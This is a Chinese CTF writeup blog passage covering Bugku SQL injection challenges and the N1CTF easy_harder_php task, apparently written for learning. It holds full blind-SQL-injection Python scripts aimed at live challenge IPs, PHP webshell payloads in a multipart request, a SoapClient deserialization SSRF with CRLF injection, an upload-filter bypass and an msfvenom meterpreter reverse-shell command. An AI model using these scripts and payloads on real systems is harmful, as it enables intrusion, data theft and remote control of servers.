127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

  相应的python代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break

  跑出flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

这是一个神奇的登陆框

  打开网站后进行抓包,进过测试后发现是基于时间的盲注,POC:aaa" or sleep(5) -- +。所以写个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
# -*- coding:utf-8 -*-
import requests

'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku:http://120.24.86.145:9001/sql/
场景:登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'

def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
print('正在测试字符:' + str(mid) + ' ----> ' + chr(mid))
test3 = test.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': test3,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
except:
tmp += chr(mid)
return tmp

sqli = sql.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
right = mid
except:
left = mid

# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
# # 测试length(database()),一旦超过长度则不用再执行。
# is_end = sql.format(pos, 1)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': is_end,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# print('======================')
# print('[*]database: ', database)
# print('======================\n')
# break
# except:
# pass
#
# left = 32
# right = 127
# while True:
# mid = (left + right) // 2
# # print('正在测试字符:', str(mid))
# test3 = test.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': test3,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# except:
# database += chr(mid)
# print('[+]database: ', database)
# break
#
# sqli = sql.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': sqli,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# right = mid
# except:
# left = mid

tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他表!')
break
except:
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break
except:
pass

table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)

print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他字段!')
break
except:
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break
except:
pass

column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)

print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他数据!')
break
except:
print('[+]正在爆破数据', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break
except:
pass

tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)

print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')

多次

  打开网页后在?id=1后面加个'号,发现错误,然后再添加一个',发现可以闭合。






  然后测试了一下,发现and or &&被过滤掉了,但||和位注入| ^没有被过滤。当使用?id=0' || 1=2 -- +时是返回错误,而?id=0' || 1=1 -- +返回了正确,所以这里存在注入。这里值得注意的是,我使用id=0而不是id=1等非0值,这是因为任何大于0的数进行||都会返回






  这里还有一种判断是否存在注入的方式就是使用异或进行注入,如:?id=0' ^ (1=2) ^ '






  因为在使用and的时候发现是返回了错误,所以猜测后台过滤了一些字符,所以可以使用?id=0' || length('and')=0 -- +检查一下过滤了的函数,如:




  进过一番测试后可以发现是一次替换的方法进行过滤的,因为可以看到当双写了以后它返回的长度是原来字符的长度。如:0' || length('aandnd')=3 -- +返回真。




  然后我们检查下字段数,构造payload:?id=1' oorrder by 2 -- +,可以发现字段数为2




  然后再看显位,构造payload:?id=-1' uniounionn seleselectct 1,2 -- +




  获得表名:ununionion seleselectct 1,table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1-- +






  可以得到表:flag1、hint,两张表。
  然后我们读flag1的字段:ununionion seleselectct 1,column_name from infoorrmation_schema.columns where table_name=0x666c616731 limit 0,1-- +




  然后我们能得到两列:flag1、address。然后查询flag:ununionion seleselectct 1,flag1 from flag1 -- +




  我们得到一串字符拿去提交后却发现并不是正确答案,所以我们再看一下address是什么。




  这里我们得到了下一关的地址。打开后页面如下:




  然后我们再使用上面的套路进行探测,最后我们能发现双写已经不能绕过了,但是却没有过滤if left benchmark select from函数,所以,我们可以使用基于时间的盲注进行注入。payload:
1
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a', benchmark(7000000,MD5(14545)), 0)  %23

  剩下的爆字段跟值就不一一写了,这里直接写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0) %23"
database = ''

for i in range(28, 50):
for j in range(32, 128):

tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(i, tmp)
# print(urli)
try:
html = requests.get(urli, timeout=3)
except:
database += chr(j)
print('[+]column: ', database)
break

print(database)

  只要把payload一换就可以使用,不过可能需要多次执行。最终flag:flag{bugku-sql_6s-2i-4t-bug},这里要说的就是left在比较的时候是不区分大小写的,所以一般flag要么大写要么小写,而这道题原本的flag把bugku中的b弄成了大写B,所以一开始提交答案不对,后来经过跟管理员联系后,管理员就把flag都改成小写了。

  这里的另一种解法就是使用locate()进行bool型注入,payload:id=1' and (select LOCATE('a',(select flag2 from flag2)))=1 -- +,这里需要变的就是locate()第一个参数,后面的1不要变,因为它返回的是第一个字符串参数出现在第二个字符串参数中的位置,我们把它置为1就是希望从头开始爆破。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''

for i in range(1, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(tmp)
html = requests.get(urli)
if 'Hello' in html.text:
database += chr(j)
print('[+]key: ', database)
break

N1CTF easy_harder_php非预期解法

前言

  上篇文章中复现了官方的预期解法,这里单独将非预期解法拿出来复现一遍并记录解题过程。非预期解法有三种:

  • 1、session.upload开启导致session包含漏洞
  • 2、xdebug
  • 3、/tmp/临时文件竞争

  本来以为pull下的docker有easy php的环境,但经过检查后却发现不满足条件,所以这篇文章主要起到备忘录的作用,以供以后遇到满足的条件时方便查阅。

1、session.upload开启导致包含漏洞

  session.upload_progress.enabled这个参数在php.ini 默认开启,需要手动置为Off,如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到

1
/var/lib/php5/sess_{your_php_session_id}




  但是从官方拉下来的源码中,发现这个session.upload_progress.enabled参数已经被关闭,所以这个解法就没法复现了。




  所以这里只进行记录这个解法的流程。

  首先构造一个这样的报文(from @berTrAM),不断的向服务端发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php

<?php eval($_POST[1]);?>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream

< %eval request("a")%>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--

  服务器就会在/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17中记录这个上传的文件。接着我们不断刷新生成包含恶意php代码的文件,然后通过LFI包含这个文件

1
action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17

  即可getshell

2、xdebug

  要使用Xdebugget shell,首先服务器要开启如下参数:




  但pull下来的docker中,这个参数都不被满足,所以又只能记录利用方式,等以后碰到了方便查阅。




  这里参照rr师傅的博客,首先我们先确定是否可以利用xdebug




  当 X-Forwarded-For 的地址(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。

  再下面的操作就参照师傅的博客就行了,这里因为没有环境就不再照抄了。

3、/tmp/临时文件竞争

  要使用临时文件竞争,phpinfo的环境要有如下配置:




  但公开的docker还是不满足条件。。。

  它大概的原理就是趁系统还没把临时文件删除之前将这个文件包含起来,从而getshell,通常系统的守护进行删除时隔很小,大概在2~3s,所以,我们要使用多线程上传,然后不断刷新包含文件。

参考链接

  黑塔搜索结果

  官方writeup

  国外大佬-条件竞争writeup

  Xdebug利用

  Bendawang

N1CTF easy_harder_php预期解法

前言

  easy phpharder php在比赛中虽然源码已经get到,但没能做出来,现在官方网站已经关闭,但官方在Github上公开了源码和Docker配置,所以拉下来跟着writeup做一遍,学习学习姿势。

  这道题看了一下网上的writeup,大概有四种解法:

  • 预期解法
  • 非预期解法
    • session.upload
    • xdebug
    • /tmp/临时文件竞争

  非预期解法是按getshell的方法来划分的,这也导致easy php升级成harder php。写完writeup的时候发现预期解法的篇幅有点大了,但大有大的好处,作者在这里尽力还原了解题的完整过程,所以这篇就是harder php的预期解法。

预期解法

获取源码

  首先尝试源码泄露,经过测试后发现只要在文件名后加~就能得到源码。

SQL注入获取admin密码

  然后简单的对源码进行审计一下,有如下发现:

  loginregister$username使用了check_username()进行检查,$password则是直接进行md5()加密。










  看到这个基本可以确定loginregister不存在注入,接着再看看哪里有insert、insert、select语句,然后可以看到在publish中的$_POST['signature']$_POST['mood']没有经过任何过滤直接就进行了insert插入。



  为了验证猜想,我们先注册一个账号,地址跟容易猜出来,就是?action=register,打开后发现要进行md5碰撞,这里也记录一下脚本。


  碰撞脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
# running in python2
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = 'b825c' # 修改此值
start_pos = 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

  注册后我们登陆网站,然后打开发表页面。




  这里值得注意的是我们在哪个参数注入,mood参数被强制转成int,所以我们只能在signature中进行注入。



  然后在插入的地方,我们发现他会把“`”转换成“’”,这就是一个利用点。


基于盲注

  所以我们可以构造这样的payload:

1
signature=1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),2,1))=53,sleep(3),0))#&mood=0




  注意,0x61646d696eadmin的16进制编码,而且这里不能直接比较字符如substr()>'a'。如果注入成功则会延迟三秒返回页面。

  后来看writeup的时候发现了另一种有意思的注入方式,他通过反序列化控制了ip的值,然后通过返回不同的国家判断注入结果,其payload如下:
1
wat`,(select case when ascii(substr((select password from ctf_users where is_admin=1),3,1))=48 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=49 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"2.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=50 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"5.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=51 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"127.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=52 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"128.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=53 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"129.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=54 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"135.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=55 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"27.116.56.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=56 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"41.109.118.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=57 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.11.15.64";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=97 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"103.81.186.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=98 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.10.240.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=99 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"17.45.140.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=100 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"43.249.176.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=101 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"41.76.8.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=102 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"46.8.41.0";s:4:"date";i:1520676219;}` else `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` end)) -- -


  但我在本地复现的时候这个payload却行不通,页面返回的是服务器错误,查看日志则是反序列化的错误。



  这里作者就不再纠结这个问题了,最终admin的密码就是nu1ladmin

#### 二次注入
  除了盲注,这里作者还发现了一个博客中运用了更简单的payload,他使用了二次注入一次性将密码直接注入出来,从操作上来看二次注入的步骤显然要比盲注简单很多,所以作者对这种手法再进行练习。原博客地址为:p0’s blog | 破

  首先先注册一个新的用户,并且通过盲注确定他的id,然后进行二次注入,如:
1
signature=1`,(select 1)),('1','123','1','1')#mood=1


  这种注入就是一次插入两行数据,这样我们可以控制第二行的所有数据,然后我们可以将admin的密码显示到id为自己账号上的signature上。

  具体操作如下:1、获取用户的id



  所以我的id就是4。接着进行二次注入,payload:
1
signature=1`,1),(4,`admin333`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0





  最后刷新页面就可以获得admin的账号密码了。


反序列化+SSRF

  其实通过审计,我们可以知道得到admin的密码是不够的,因为adminallow_diff_ip=0的,所以我们还是无法直接利用。其实比赛中看到了反序列化漏洞,但因为Mood类中并没有魔术函数,所以一直以为反序列化利用不了,所以也就卡壳了。后来证实自己的知识面还是太窄了:(

  到了这一步,我们就要怎么利用SSRF了,我这里想到了两个方法:

  • 1、修改admin的allow_diff_ip字段,使我们能直接登陆admin,然后上传
  • 2、拿着你的session,去做admin的登录,然后上传

  第一种因为被代码写死,所以无法利用。




  所以我们利用第二种方式去getshell。

  在phpinfo中,我们发现soap是开启的,php中有一个特殊的类:SoapClient,它是用来创建soap数据报文,与wsdl接口进行交互的。






  通过传入两个参数,第一个是 $url, 既目标url,第二个参数是一个数组,里面是soap请求的一些参数和属性。第二个参数(options)的相关介绍如下:



  我们可以看到这个类传入的第一个参数为 $wsdl。



  控制是否是wsdl模式,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

  我们验证一下,写一个简单的发起soap请求。
1
2
3
4
5
<?php
$a = new SoapClient(null, array('location' => "http://192.168.187.133:8887",
'uri' => "123"));
echo serialize($a);
?>


1
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://192.168.187.133:8887";s:13:"_soap_version";i:1;}


  抓包修改后发送。



  在虚拟机中监听:nc -lvv 8887,再去刷新?action=index,就能看到服务器已经接收到soap请求。


CRLF

  现在我们已经触发了SSRF,但可以看到SOAP原始的数据是不符合POST请求的数据格式的,所以,我们要想办法控制soap请求使它符合post请求,从而实现我们的目的。

  soap请求的content/type是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent来控制整个POST报文。

  我们知道http请求报文中使用\x0d\x0a,也就是回车换行符,分割http请求头跟body部分,所以我们通过\x0d\x0a来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF。如:



  这里我使用了官方放出的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

  我们只需将PHPSESSIDcode换成我们自己的就可以实现admin登陆。我们在另一个浏览器中打开页面,然后记录他的PHPSESSIDcode。如:




  所以,我的payload就是:
1
signature=x`,`O:10:"SoapClient":3:{s:3:"uri";s:1:"0";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:11:"_user_agent";S:188:"fake\0D\0ACookie: PHPSESSID=etf9pia6ftpj50eav8jsbp7ta5\0D\0AContent-Type: application/x-www-form-urlencoded\0D\0AContent-Length: 700\0D\0A\0D\0Ausername=admin\26password=nu1ladmin\26code=THYoaQkVdIm739Hppszu\26y=cc";}`) -- -&mood=0





  然后我们在另一个浏览器上就可以以admin登陆了,(直接刷新页面即可,不用输入密码),然后可以看到我们已经解锁了文件上传功能。





上传文件getshell

  我们再来看文件上传的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}

  可以看到如果你上传的文件包含<?php,就会运行一个bash clean_danger.sh去删除这个文件。而这个脚本的代码是:

1
2
cd /app/adminpic/
rm *.jpg

  绕过这个检测的方法有两个:

  • 1、使用linux命令的一个feature
      当我们创建诸如 -xaaaaaaa.jpg的文件后,我们不能通过 rm or rm .jpg 删除它,除非 rm -r (它的上一层目录),比如:


  • 2、使用段标签
      因为php版本高于5.4,所以我们可以使用<?=拿到webshell。

  为了方便反弹shell,这里我用msf生成了shellcode,命令:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.129 LPORT=4444 -f raw > /root/meter.php

  因为使用的是msf反弹shell的代码,所以我们用msf监听一下。



  并且上传的时候我使用了第一种方法




  文件上传上去后,我们需要找到他的位置即文件名,在upload函数中,我们看到系统对文件进行了重命名。



  我们要找出真正的文件名,就需要知道time()的值,然后枚举1~100叠加上去。而time()是我们上传的时间的unix时间戳,而且要注意是date_default_timezone_set("PRC")

  所以在即将上传前,我们获取一下当前的unix时间戳,如:
1
2
3
4
5
6
<?php
date_default_timezone_set("PRC");
$file_true_name = '-webshell';
$file_true_name = time();
echo $file_true_name;
?>


  得到:1521017320,然后我们写个python脚本暴力跑一下:
1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding:utf-8 -*-

import requests
time = 152101732000
url = 'http://192.168.187.133/index.php?action=../../../../app/adminpic/-haha{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
if html == 200:
print(ul)
break


  这里需要注意的是我们的初始值是:152101732000,它比时间戳多了两位,这是因为时间戳的后面还有rand(1,100),所以我们要考虑进去。

  跑了一会结果就出来了:http://192.168.187.133/index.php?action=../../../../app/adminpic/-meter152101732256.jpg,访问后可以看到页面返回正常。并且在msf里可以看到shell已经反弹回来。


拿到flag

  拿到shell后查看了文件,但没有发现flag文件。所以,flag应该在数据库中。然后发现了系统的配置脚本run.sh。里面暴露了mysql的账号密码,我们登陆mysql然后查询一下。sql语句如下:

1
2
use flag;
select * from flag;

  可以看到flag已经出来了。




  这里比较坑的是返回的shell并不是真实的shell,所以在执行mysql命令时总是存在延迟,有时数据也返回不完全,需要多次操作才能读出这个flagn1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}

总结

  这道题运用了很多姿势,复现完成后自己也学到了很多,不足的就是自己在复现的时候操作还不是很流畅,可能也是自己太菜的原因,但好在最后还是能照着writeup复现出来。复现过程中,查了几份writeup,但这些writeup对于很多细节却没有做详细的描述,所以这篇writeup我尽量的把每步操作都记录下来,方便自己也方便别人学习。

  关于非预期的解法,考虑到篇幅关系,所以决定另开一篇,并且争取还原整个解题过程。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×